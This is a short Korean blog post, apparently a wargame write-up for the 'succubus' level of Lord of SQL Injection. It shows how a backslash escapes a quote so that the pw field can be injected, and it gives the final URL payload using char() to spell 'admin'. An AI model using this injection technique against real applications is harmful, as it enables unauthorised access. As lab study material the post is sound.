728x90
1. 필터링
prob _ . () 처음에 \(\)를 \\뜻으로 보고 1시간 넘게 못 풀었던...ㅜㅠ 이런 실수는 하지 맙시다 ㅎ
더보기
where id='\' and pw='or 1#' --> where id='\' and pw='or 1
select id from prob_succubus where id='\' and pw='or id=char(97,100,109,105,110)
where id='\' and pw='or 1#' --> where id='\' and pw='or 1#'
--> 특수문자 앞에 '\'를 붙이면 특수문자는 문자로 취급한다.
이 점을 이용해서 공격 시도!
select id from prob_succubus where id='\' and pw='or id=char(97,100,109,105,110)#'
select id from prob_succubus where id='\' and pw='or id=char(97,100,109,105,110)#'
< #은 %23으로 URLencoding 해서 보낸다. >
URL + ?id=\&&pw=or id=char(97,100,109,105,110)%23
성공!
'보안 공부 > Load of SQL injection' 카테고리의 다른 글
[Load of SQL Injection] nightmare (0) | 2022.01.30 |
---|---|
[Load of SQL Injection] zombie assassin (0) | 2022.01.30 |
[Load of SQL Injection] Assassin(SQL like wildkard) (0) | 2022.01.29 |
[Load of SQL Injection] Giant (공백 문자 우회 방법 모음) (0) | 2022.01.28 |
[Load of SQL Injection] bugbear (0) | 2022.01.28 |